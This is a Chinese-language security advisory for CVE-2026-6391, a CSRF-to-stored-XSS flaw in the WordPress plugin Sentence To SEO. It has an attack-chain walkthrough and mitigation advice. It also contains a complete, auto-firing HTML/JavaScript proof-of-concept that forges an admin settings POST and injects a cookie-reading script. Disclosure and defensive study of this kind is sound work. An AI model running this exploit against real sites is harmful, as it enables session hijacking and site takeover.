CVE-2026-6391 CVSS 6.1 中危

CVE-2026-6391: WordPress插件Sentence To SEO跨站请求伪造漏洞

披露日期: 2026-05-20

来源: [email protected]

漏洞信息

漏洞编号

CVE-2026-6391

漏洞类型

跨站请求伪造 (CSRF), 存储型跨站脚本 (Stored XSS)

CVSS评分

6.1 中危

攻击向量

网络 (AV:N)

认证要求

无需认证 (PR:N)

用户交互

需要交互 (UI:R)

影响产品

WordPress Sentence To SEO Plugin

漏洞概述

WordPress插件Sentence To SEO在1.0及以下版本中存在跨站请求伪造（CSRF）漏洞。由于create_admin_page()函数缺少或存在错误的nonce验证，未经身份验证的攻击者可以通过伪造请求诱骗管理员点击链接，从而注入恶意Web脚本并更新插件设置，可能导致管理员账户被劫持或网站被篡改。

技术细节

该漏洞的核心在于WordPress插件Sentence To SEO在create_admin_page()函数中处理管理员操作时，未正确实施WordPress标准的Nonce验证机制。Nonce是WordPress用于验证请求意图和防止CSRF的关键安全令牌。由于该插件缺失这一安全检查，攻击者可以构建特制的HTTP请求（通常通过诱骗受害者点击恶意链接），利用受害者的浏览器会话自动发送认证凭证。攻击者利用此漏洞不仅能够修改插件的配置参数，还能在插件的字段（如关键词、描述）中注入持久化的JavaScript代码（存储型XSS）。一旦管理员再次访问插件管理后台，这些恶意代码将在管理员上下文中执行，进而可能导致管理员会话劫持、权限提升或进一步的服务器端攻击。

攻击链分析

STEP 1

1. 侦察

攻击者识别出目标网站安装了WordPress，并使用了Sentence To SEO插件（版本<= 1.0）。

STEP 2

2. 投递

攻击者构造一个包含恶意HTML表单或JavaScript代码的网页，并将其链接发送给目标网站的管理员，诱导管理员点击。

STEP 3

3. 利用

管理员在已登录状态下访问恶意链接。由于插件缺少nonce验证，浏览器自动携带管理员会话Cookie发送伪造的POST请求到插件设置页面。

STEP 4

4. 注入

伪造的请求成功更新了插件设置，并在描述字段中植入了恶意的JavaScript脚本（存储型XSS）。

STEP 5

5. 执行

当管理员下次访问插件管理页面时，注入的恶意脚本在浏览器中执行，攻击者可借此窃取Cookie、会话令牌或执行其他管理员操作。

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

<!-- PoC for CVE-2026-6391 CSRF to Stored XSS -->
<!-- Save this as exploit.html and host it. -->
<html>
  <body>
    <h1>CVE-2026-6391 CSRF PoC</h1>
    <p>Attempting to update plugin settings with XSS payload...</p>
    <script>
      function exploit() {
        // Target URL (may vary based on installation)
        var targetUrl = 'http://target-site.com/wp-admin/admin.php?page=sentence-to-seo';
        
        // Prepare form data with XSS payload in description field
        var params = new URLSearchParams();
        params.append('sentence_description', 'Hacked <script>alert(document.cookie)</script>');
        params.append('sentence_keywords', 'malicious');
        params.append('update_settings', 'Save');

        fetch(targetUrl, {
          method: 'POST',
          headers: {
            'Content-Type': 'application/x-www-form-urlencoded'
          },
          body: params,
          credentials: 'include' // Sends cookies with the request
        }).then(response => console.log('Request sent'))
          .catch(error => console.error('Error:', error));
      }

      // Trigger exploit automatically
      exploit();
    </script>
  </body>
</html>

影响范围

Sentence To SEO <= 1.0

防御指南

临时缓解措施

建议立即卸载受影响版本的插件，直到官方发布修复版本。如果必须继续使用，应通过Web应用防火墙（WAF）规则拦截对插件设置页面的异常POST请求，或限制仅受信任的IP地址可以访问WordPress后台。

参考链接

快速导航: 前沿安全最新收录域名列表最新威胁情报列表最新网站排名列表最新工具资源列表最新CVE漏洞列表